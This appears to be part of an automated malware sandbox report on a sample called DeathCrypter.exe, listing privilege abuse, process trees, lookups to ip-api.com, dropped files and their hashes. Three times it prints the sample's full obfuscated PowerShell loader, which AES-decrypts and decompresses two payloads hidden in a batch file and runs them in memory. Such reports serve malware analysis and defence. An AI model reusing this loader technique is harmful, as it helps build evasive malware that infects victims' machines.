| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "
C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
Files
memory/1460-0-0x000007FEF5773000-0x000007FEF5774000-memory.dmp
memory/1460-1-0x0000000000E80000-0x0000000001898000-memory.dmp
memory/1460-2-0x000007FEF5770000-0x000007FEF615C000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat
| MD5 | 9a3a9a5ba169eda2919b26e78abe3718 |
| SHA1 | ef2136796b2f2c88a9826968e14a72d34faff667 |
| SHA256 | 2c7178b4b84c0c6c8e16495b665aa5f1ed22982e13fe1769feada527be6caefe |
| SHA512 | e0a70678715e4a8679673b1a99c2850769a34a00803f8ba25b40651c557fe770af94a5c60bdb4c33c33e664d3f4cd029e0e63ecb3c8ccd49a2d508dc92f43829 |
memory/2580-12-0x000007FEF5770000-0x000007FEF615C000-memory.dmp
memory/2972-17-0x000000001B680000-0x000000001B962000-memory.dmp
memory/2972-18-0x0000000001FC0000-0x0000000001FC8000-memory.dmp
memory/1460-19-0x000007FEF5770000-0x000007FEF615C000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | e8421fdd24f5684fc44e16c1f664b4d6 |
| SHA1 | 1ba08c5889516be6c775fda7fdf1706e810da071 |
| SHA256 | 35bb3fb823017d77f549f24cd0e3a8eec6791eacdcb22e007eafde84d4d6d9cb |
| SHA512 | d0db1449d1f5478bac0e4212c7f91e70bf57032e598d9d7a1b5e56d0282953dfedf0aa703242f4115c5f981af0c6b54e9d14045c1fb3f3068daa669aa2f9f530 |
memory/2580-34-0x000007FEF5770000-0x000007FEF615C000-memory.dmp